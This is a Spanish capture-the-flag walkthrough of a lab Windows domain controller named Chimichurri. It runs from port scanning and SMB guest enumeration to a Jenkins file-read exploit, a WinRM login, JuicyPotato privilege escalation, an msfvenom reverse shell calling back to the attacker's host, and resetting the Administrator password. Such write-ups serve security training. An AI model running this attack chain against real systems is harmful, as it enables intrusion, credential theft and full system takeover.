Chimichurri

Primeramente hacemos un escaneo bΓ‘sico para saber los puertos abiertos:

          PORT      STATE SERVICE       VERSION
   3   β”‚ 53/tcp    open  domain        Simple DNS Plus
   4   β”‚ 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-17 14:53:08Z)
   5   β”‚ 135/tcp   open  msrpc         Microsoft Windows RPC
   6   β”‚ 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
   7   β”‚ 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: chimichurri.thl, Site: Default-First-Site-Name)
   8   β”‚ 445/tcp   open  microsoft-ds?
   9   β”‚ 464/tcp   open  kpasswd5?
  10   β”‚ 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  11   β”‚ 636/tcp   open  tcpwrapped
  12   β”‚ 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: chimichurri.thl, Site: Default-First-Site-Name)
  13   β”‚ 3269/tcp  open  tcpwrapped
  14   β”‚ 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  15   β”‚ |_http-server-header: Microsoft-HTTPAPI/2.0
  16   β”‚ |_http-title: Not Found
  17   β”‚ 6969/tcp  open  http          Jetty 10.0.11
  18   β”‚ |_http-title: Panel de control [Jenkins]
  19   β”‚ | http-robots.txt: 1 disallowed entry 
  20   β”‚ |_/
  21   β”‚ |_http-server-header: Jetty(10.0.11)
  22   β”‚ 9389/tcp  open  mc-nmf        .NET Message Framing
  23   β”‚ 47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  24   β”‚ |_http-title: Not Found
  25   β”‚ |_http-server-header: Microsoft-HTTPAPI/2.0
  26   β”‚ 49664/tcp open  msrpc         Microsoft Windows RPC
  27   β”‚ 49665/tcp open  msrpc         Microsoft Windows RPC
  28   β”‚ 49666/tcp open  msrpc         Microsoft Windows RPC
  29   β”‚ 49669/tcp open  msrpc         Microsoft Windows RPC
  30   β”‚ 49673/tcp open  msrpc         Microsoft Windows RPC
  31   β”‚ 49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  32   β”‚ 49676/tcp open  msrpc         Microsoft Windows RPC
  33   β”‚ 49680/tcp open  msrpc         Microsoft Windows RPC
  34   β”‚ 49713/tcp open  msrpc         Microsoft Windows RPC
  35   β”‚ 49737/tcp open  msrpc         Microsoft Windows RPC
  36   β”‚ MAC Address: 00:0C:29:8F:E7:16 (VMware)
  37   β”‚ Service Info: Host: CHIMICHURRI; OS: Windows; CPE: cpe:/o:microsoft:windows
  38   β”‚ 
  39   β”‚ Host script results:
  40   β”‚ | smb2-time: 
  41   β”‚ |   date: 2025-02-17T14:54:01
  42   β”‚ |_  start_date: 2025-02-17T09:47:34
  43   β”‚ | smb2-security-mode: 
  44   β”‚ |   3:1:1: 
  45   β”‚ |_    Message signing enabled and required
  46   β”‚ |_clock-skew: -1h00m01s

Por el puerto 445 smb listamos los archivos compartidos:

❯ netexec smb 192.168.1.43 -u 'guest' -p '' --shares
SMB         192.168.1.43    445    CHIMICHURRI      [*] Windows 10 / Server 2016 Build 14393 x64 (name:CHIMICHURRI) (domain:chimichurri.thl) (signing:True) (SMBv1:False)
SMB         192.168.1.43    445    CHIMICHURRI      [+] chimichurri.thl\guest: (Guest)
SMB         192.168.1.43    445    CHIMICHURRI      [*] Enumerated shares
SMB         192.168.1.43    445    CHIMICHURRI      Share           Permissions     Remark
SMB         192.168.1.43    445    CHIMICHURRI      -----           -----------     ------
SMB         192.168.1.43    445    CHIMICHURRI      ADMIN$                          Admin remota
SMB         192.168.1.43    445    CHIMICHURRI      C$                              Recurso predeterminado
SMB         192.168.1.43    445    CHIMICHURRI      drogas          READ            
SMB         192.168.1.43    445    CHIMICHURRI      IPC$            READ            IPC remota
SMB         192.168.1.43    445    CHIMICHURRI      NETLOGON                        Recurso compartido del servidor de inicio de sesiΓ³n 
SMB         192.168.1.43    445    CHIMICHURRI      SYSVOL                          Recurso compartido del servidor de inicio de sesiΓ³n 

Miramos esa carpeta sospechosa llamada drogas que tenemos permiso de READ:

❯ smbclient //192.168.1.43/drogas  -N
smb: \> dir
  .                                   D        0  Thu Jun 27 05:20:49 2024
  ..                                  D        0  Thu Jun 27 05:20:49 2024
  credenciales.txt                    A       95  Sun Jun 30 12:19:03 2024

                7735807 blocks of size 4096. 4320199 blocks available
smb: \> get "credenciales.txt"

Al descargarlo y abrir el archivo txt encontramos:

Tenemos un Jenkins en el puerto 6969/tcp:

Ahora pasamos a ver si hay alguna vulnerabilidad en el servicio web. Como hemos visto antes, en el puerto 6969 hay un servicio web. Empezamos a buscar informaciΓ³n de que tecnologΓ­a esta usando:

❯ whatweb -a 3 http://192.168.1.43:6969
Miramos exploits para esta version: Jenkins[2.361.4], Jetty[10.0.11]

El exploit:

❯ ./jenkins_fileread.py -u http://192.168.1.43:6969/
file> /Users/hacker/Desktop/perico.txt
hacker:Perico69
file> 

AsΓ­ que entramos con ellas.

❯ evil-winrm -i chimichurri.thl -u hacker -p 'Perico69'

Tenemos algo interesante para subir privilegios:

Bien ahora pasemos el archivo a la mΓ‘quina victima:

❯ ls -l /home/lass/nmap/nmapA/Jenkins-pRCE-exploit/JuicyPotato.exe

.rw-rw-r-- lass lass 340 KB Mon Feb 17 12:25:02 2025 ο…Ί /home/lass/nmap/nmapA/Jenkins-pRCE-exploit/JuicyPotato.exe
❯ python3 -m http.server 8080
*Evil-WinRM* PS C:\tmp> Invoke-WebRequest -Uri "http://192.168.1.50:8080/JuicyPotato.exe" -OutFile "C:\tmp\JuicyPotato.exe"

Ejecutando el .exe para ver sus funcionalidades;

*Evil-WinRM* PS C:\tmp> ./JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
*Evil-WinRM* PS C:\tmp> 

Ahora crearemos un .exe malicioso con msfvenon para la rever Shell como otro usuario:

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=1980 -f exe -o rs.exe

Teniendo los dos archivos subidos a la amquina victima ejecuatamos el siguiente comando:

17/02/2025  17:42    <DIR>          .
17/02/2025  17:42    <DIR>          ..
17/02/2025  17:34           347.648 JuicyPotato.exe
17/02/2025  17:42            73.802 rs.exe
               2 archivos        421.450 bytes
               2 dirs  17.742.700.544 bytes libres

C:\tmp>JuicyPotato.exe -t * -p rs.exe -l 1678

Estando en la escucha por el puerto que corresponde al ejecutable malicioso:

❯ rlwrap nc -nlvp 1980
listening on [any] 1980 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.43] 50075
Microsoft Windows [VersiοΏ½n 10.0.14393]
(c) 2016 Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whomai
whomai
"whomai" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Ahora para abrir el user.txt no tenemos ese poder por lo cual miramos los permisos:

C:\Users\hacker\Desktop>dir user.txt
dir user.txt
 El volumen de la unidad C no tiene etiqueta.
 El nοΏ½mero de serie del volumen es: 5E12-227F

 Directorio de C:\Users\hacker\Desktop

27/06/2024  11:57                29 user.txt
               1 archivos             29 bytes
               0 dirs  17.742.573.568 bytes libres

C:\Users\hacker\Desktop>

Permisos:

  • icacls .\ /t

Solo el ADMINSTRATOR tiene permisos para el user.txt

Ahora como somos NT AUTHORITY podemos setear la contraseΓ±a:

C:\Users\hacker\Desktop>net user Administrador Marlas09
net user Administrador Marlas09
Se ha completado el comando correctamente.

Ahora entramos con esa contraseΓ±a como Admin:

❯ evil-winrm -i 192.168.1.43 -u Administrador -p Marlas09

Last updated